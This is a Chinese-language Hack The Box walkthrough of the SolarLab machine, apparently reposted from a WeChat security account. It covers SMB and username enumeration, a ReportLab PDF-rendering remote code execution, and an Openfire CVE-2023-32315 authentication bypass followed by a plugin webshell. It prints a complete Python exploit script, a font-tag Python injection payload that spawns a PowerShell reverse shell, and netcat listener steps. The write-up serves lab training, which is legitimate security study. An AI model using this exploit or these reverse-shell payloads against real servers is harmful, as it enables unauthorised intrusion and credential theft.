首先使用nmap进行扫描
访问80端口得到3个用户
然后继续访问发现有框,进行了xss、注入操作无果
然后有一个登录页面,弱口令尝试无果
然后通过smb扫描发现了一个共享文档
现在找到了一个包含一些凭证的敏感文件,使用用户名AlexanderK
和ClaudiaS
引发了不同的错误,存在用户名泄露漏洞。尝试密码列的所有可能组合都无法成功。在这三个用户中,有两个存在,但Blake
用户不存在。因此,尝试将与这两个用户相同的模式匹配为完整名字和姓氏的首字母BlakeB
,得到了身份验证错误并确认了存在。
使用blake.byte
,登录成功
继续往下有一个文件上传的接口
尝试上传图像并转换为 PDF 格式的文件
在bp的返回包里面发现到了reportlab
关键字
发现存在rce
使用exp进行攻击
#!/usr/bin/python3
import argparse
import requests
from sys import exit
from base64 import b64decode
import urllib.parse
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument("--host", required=True, type=str)
parser.add_argument("--port", "-p", required=True, type=int)
parser.add_argument("--cmd", "-c", required=True, type=str)
parser.add_argument("--session", "--cookie", "-sc", required=True, help="Session cookie", type=str)
args = parser.parse_args()
return args
def build_post_body(cmd: str) -> bytes:
print("[*] Building Exploit...")
# Base64 Encoded Post Template
base = b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNDU3ODUzNjcwMTMzNTUyOTgzMDExNzk0MzIxNzYKQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJ0aW1lX2ludGVydmFsIgoKMjAyOS0wNS0yNiB0byAyMDI5LTA1LTI3Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTQ1Nzg1MzY3MDEzMzU1Mjk4MzAxMTc5NDMyMTc2CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ibGVhdmVfcmVxdWVzdCIKCntjbWR9Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTQ1Nzg1MzY3MDEzMzU1Mjk4MzAxMTc5NDMyMTc2CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic2lnbmF0dXJlIjsgZmlsZW5hbWU9IlVudGl0bGVkLnBuZyIKQ29udGVudC1UeXBlOiBpbWFnZS9wbmcKColQTkcKGgoAAAAKSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAApSURBVChTY9i+fbuAgAADAwMHB8f8+fMlJCSAbARA5gNVQFkjGzAwAADL7QTzijujCwAAAABJRU5ErkJgggotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE0NTc4NTM2NzAxMzM1NTI5ODMwMTE3OTQzMjE3NgpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InVzZXJfaW5wdXQiCgo8cD5hc2RmPC9wPgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE0NTc4NTM2NzAxMzM1NTI5ODMwMTE3OTQzMjE3Ni0t")
exploit_base = b64decode("PHA+PGZvbnQgY29sb3I9IlsgWyBnZXRhdHRyKHBvdywgV29yZCgnX19nbG9iYWxzX18nKSlbJ29zJ10uc3lzdGVtKCd7Y21kfScpIGZvciBXb3JkIGluIFsgb3JnVHlwZUZ1biggJ1dvcmQnLCAoc3RyLCksIHsgJ211dGF0ZWQnOiAxLCAnc3RhcnRzd2l0aCc6IGxhbWJkYSBzZWxmLCB4OiBGYWxzZSwgJ19fZXFfXyc6IGxhbWJkYSBzZWxmLCB4OiBzZWxmLm11dGF0ZSgpIGFuZCBzZWxmLm11dGF0ZWQgPCAwIGFuZCBzdHIoc2VsZikgPT0geCwgJ211dGF0ZSc6IGxhbWJkYSBzZWxmOiB7c2V0YXR0cihzZWxmLCAnbXV0YXRlZCcsIHNlbGYubXV0YXRlZCAtIDEpfSwgJ19faGFzaF9fJzogbGFtYmRhIHNlbGY6IGhhc2goc3RyKHNlbGYpKSwgfSwgKSBdIF0gZm9yIG9yZ1R5cGVGdW4gaW4gW3R5cGUodHlwZSgxKSldXSBhbmQgJ3JlZCciPgoxPC9mb250PjwvcD4=")
exploit_base = exploit_base.replace(b"{cmd}", bytes(cmd.encode()))
final = base.replace(b"{cmd}", exploit_base)
print("[*] Exploit built")
return final
def send_request(post_body: bytes, session_cookie: str, host: str, port: int):
print("[*] Preparing request")
cookie = {"session": session_cookie}
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
headers["Accept-Encoding"] = "gzip, deflate, br"
headers["Content-Type"] = "multipart/form-data; boundary=---------------------------145785367013355298301179432176"
headers["Content-Length"] = str(len(post_body))
headers["Connection"] = "close"
url = f"http://{host}:{port}/leaveRequest"
print(f"[*] Sending request to {url}")
print("[*] Sending a reverse shell should cause request to hang")
r = requests.post(url=url, headers=headers, data=post_body, cookies=cookie)
print("[*] Request sent")
status_code = r.status_code
if r.text.find("Login to ReportHub") > 0:
print(f"[!] Bad Request. Status Code {r.history}. Check that your session cookie is still valid.")
exit(0)
print(f"[*] Probable success. Status Code {status_code}")
def main():
args = get_args()
body = build_post_body(args.cmd)
send_request(body, args.session, args.host, args.port)
if __name__ == "__main__":
main()
当 PDF 转换发生时,HTML 标签也会被渲染为代码。因此,由于颜色属性中的 Python 块会立即执行,因此可能存在 RCE。
<font color="[ [ getattr(pow, Word('__globals__'))['os'].system('powershell -e <Base64EncodedRevShellHere>') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))]] and 'red'">
1</font>
使用参数中指定的命令嵌入了所需的python块并发出上传请求
使用nc监听获得反弹shell
找到了user.txt
继续进行渗透,通过用户名枚举得到一个openfire
用户,通过搜素openfire
相关的服务得到cve-2023-32315这个rce
挂代理在本地访问openfire服务
访问http://127.0.0.1:9090,在本地主机上本地访问端口 9090
运行它后会创建一个新用户,然后我们就可以成功登录,此漏洞实际上是两个漏洞的混合体,即第一个身份验证绕过漏洞和第二个 RCE 漏洞。我们现在将尝试上传一个假的 openfire 插件,该插件将尝试让我们在系统上执行命令
现在按照步骤上传插件并访问webshell
完成这些步骤后,选择右上角应允许执行系统命令的系统命令,然后使用 Base64 编码的 Powershell 反向 shell 命令
使用nc监听,获得openfire
用户的权限
查看logs
日志
在openfire.log中
在openfire.script
中,无法正确获取文件,尝试直接登录,密码错误
Openfire 基本上会加密明文密码,然后将其存储到数据库中。所以,上面的不是哈希,而是加密的密码字符串,下面的是它的加密密钥
因此,研究如何解密,发现这是一个复杂的过程,但最终找到了解密的工具
https://github.com/c0rdis/openfire_decrypt
获得flag.txt
加下方wx,拉你一起进群学习
原文始发于微信公众号(红队蓝军):htb打靶记录-SolarLab
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论